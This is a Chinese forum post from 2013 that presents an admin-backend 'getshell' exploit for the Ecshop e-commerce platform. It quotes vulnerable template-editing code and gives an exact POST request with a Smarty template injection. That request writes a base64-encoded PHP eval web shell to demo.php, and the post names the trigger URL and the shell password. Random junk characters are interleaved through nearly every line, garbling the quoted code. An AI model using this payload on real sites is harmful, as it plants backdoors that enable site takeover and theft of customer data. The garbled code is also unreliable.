找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2577|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板2 X: d% }5 K  n' |- ~

/ G  ?( E- @( `! F9 I! X而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
# r. x( K  R, b2 f) L6 x+ G' e但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
8 F5 \; |. \* P# a- `* R0 @5 Uadmin/template.php
0 H! C, U  _+ T. H. I
2 M9 O# S2 P' V6 r- J' ~1 if ($_REQUEST['act'] == 'update_library') 7 k7 V2 u% m& \0 E2 c3 o8 X

9 o; G7 v5 s) z( r2   # C$ H* T" o# Q0 L
/ v0 O0 G: g1 p+ F- S& N
3 {
6 @2 C. d4 Z* ~: {' O: O6 q8 Z- p2 T0 K
4     check_authz_json('library_manage');
) c- V% c0 Q! \1 P6 B, n3 @+ D
8 s: b" o# U  {1 }1 x5   # f3 k5 Q. w! B& V) V- l
0 k+ G4 Q! g6 C9 Z; B
6     $html = stripslashes(json_str_iconv($_POST['html'])); , _7 Z9 S9 l, `& @* F. S6 [

2 B8 i2 q/ M2 ]1 d% `6 S% Y7   
7 j: ]' q. e+ m8 [1 A# X4 h1 a1 b) a- R& R/ R1 M& w
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
6 J, r! E9 s. @; \6 @7 W4 ?. x. {/ ]! Q- u/ H' z" G
9   
, L5 K, E- P# ?; K  s
2 q, A3 k' M% y3 D7 U) ^10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 : w$ _; N1 `( J+ K) U0 J

4 q! j) d* E. k" P! b/ V9 S11   8 P0 y1 {: Z4 x# M
2 D; ~% Y) ^" g2 Z/ }" B; a
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
& |3 o. F) d! ^# h* i, K7 m4 i9 v, X2 z( x% w
13   
0 ?) A. |0 {% ^1 E: y  x  x
/ O1 j1 S2 i: c0 s5 v14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 2 q/ r) w$ A* j% Z& A* q

9 O5 X3 H$ [6 M7 c- z" [9 Y$ p15     {
5 O( t& |" v# ?
! t1 B7 Q0 B- l1 a16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 4 |2 t" X  ?% J
7 Z; ]1 y; w8 i$ d  s& ?9 k. D
17         make_json_result('', $_LANG['update_lib_success']);
' d' Q0 V8 c- y# S: i" A" ]  ^2 a
1 a6 I6 S0 O7 v( g18     } ) \. @9 r0 N0 {5 H' t3 f0 u) C

8 @: {& I0 V0 ^9 X' Z/ V( o19     else * u& y! n. Y" n& y- O! A

+ d$ V% c, u1 F7 I  k1 j20     {
" G* K6 @0 G! l
2 c# J7 ~+ K/ ^( `/ z5 S( E21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 3 t' H4 Q; F/ q6 P6 l  q& U

! L& \% L( P# S) s! k22     }
! k( U. Q: R5 \) {2 N- X8 x$ Q9 E- W% j, A) u2 j; c8 Y7 y0 F, Z" Z& S
23 }
- A1 O' o  _& \- K! {5 _; ~" C* t9 r
那么找个比较方便调用了模板的文件7 I& g% M' \0 s$ D' f5 a+ H0 X
index.php& U0 g! N$ `$ |# L% \* T- z  C
+ W2 R7 y+ [" k: U  |1 P& W
1 if ($act == 'cat_rec') 9 K& r& Y3 ^5 f! `; P
% Z: V; }, K, d% R, [1 s
2   ' d4 }1 Z1 H. B6 V. @

( s4 o  N0 v; G0 Q3 W& G3 { ( n8 G6 [7 Y( c8 B, g: O. k0 X5 A

. c- I) I& E( T; O1 d6 Z9 |4   6 e& |" u" Y8 T# S7 c+ A( Y
! U0 t! M1 F" T/ r% q7 b
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); : O2 ?, `$ e0 o0 L. v: W5 \! r

% V% b$ g4 |) x* |8 ?" t6   
4 v/ O' c! o% S2 h
. |+ M0 e* T2 t/ m, y7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
- u7 e( G( B3 ]6 O/ R  N
& [( o  \+ L/ y8     [. A! A% O4 l0 A0 b) a

& I1 V" u# w" D' k5 D3 ^9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 2 J! G2 I4 f+ I. V* t4 g! E" r
# b7 ~; L- ^% w. J7 ]. P' O1 M
10   - u1 O5 g- H2 @- ?' K

1 T& |6 ?# X/ R- b* v+ d11     include_once('includes/cls_json.php'); ( ^( @4 q: p& g3 T1 e, n& m% \; i! N

5 V0 B, M/ ], J* J12   3 e7 ?* A/ q3 `  V

: X/ s0 G/ M+ F) i8 s' J13     $json = new JSON; 3 q# i: e: u) q4 j9 C0 B) s. o

3 N  B; Z( X  u# c& d% U2 w1 m14   
" M! J; i8 S& N2 b
/ Z5 L  R9 t( Q: N# a, D15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
- a/ \/ e3 P6 B# j+ j0 w
( u0 L7 b( k' x16   
: r8 L. Y9 C# x4 R+ E* e0 N
9 |& T! m; b" f1 O( I$ R+ t$ I17     $children = get_children($cat_id);
2 K0 ~. m8 w  ]# Q" q4 |# Y& T/ s! Z% e+ o- Z" r6 c# M
18   
1 V  h% W7 N: [! H/ d' k& E& v' x5 Q4 u) D3 y. Q" l8 r7 w
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 / A3 O( a! O& l6 J( T
! S5 n, {5 p6 F; Z5 s
20   ; @2 k. W( y3 b' t

9 m+ |. H3 e# c. E& i/ f21     $smarty->assign('cat_rec_sign', 1); " u9 s& W# n0 N

9 R9 }0 O% h/ W/ k) u22   
/ m" H8 @8 _$ _+ D& }% R1 R9 Q8 e3 d+ \) ^
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best * F" b' B. m0 C

! ]% ^5 b$ \( c0 v) V2 y24   ' i2 i2 p) g. d9 N4 v" e" ?
3 N. u) l* l: [; ]! J0 k9 B
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
/ G' Q4 p; {9 K) |5 o3 w$ t
. i$ f! l2 z8 G26   
" _5 z( d$ f) z9 f. s0 c; H& n3 b4 c  E
27         echo $rec_array[$rec_type];   X; F+ D# b, y+ C

2 r0 g( V1 |6 Y28   
& [1 j( J5 u+ x# _0 g" j: A( ^9 p: U/ m+ _) o- f& v6 {
29     die($json->encode($result));
" C& ]/ I4 a. k6 E3 w
9 a$ D0 T! Y$ U7 B% w; _30   
0 I' M+ T9 ^! L  L+ L# L# B+ ^3 _. Z5 S5 X7 U& x7 h+ L
31 } $ a& m0 ~1 w" _

* v" N5 E* N9 [; x那么就有利用方法了$ f+ P. C' ~8 `% k% ^
post包到http://localhost/ec/admin/template.php?act=update_library+ y4 X# f1 V  U" [0 \( p! ~
Post内容:
8 m% E7 q& Z/ K4 N9 X5 Y) l, t
# g2 q1 K1 ?; W1 b4 K  F2 Y3 G4 {8 j
* }3 g; i& U* {9 K" v1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} + x$ r2 v- P" j

7 q, p* r5 n+ x- t然后访问http://localhost/ec/index.php?act=cat_rec" s- [; ~" g& F# B0 h( a% s
' s* Y% i7 Y% c8 U- v! m8 T
shel地址:http://localhost/ec/demo.php
" d) P: I- C9 v9 @1 \密码c1 s6 z& Q3 t+ p; P4 ?+ N# Y

  d2 e" w& J4 ?' Q. W2 C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表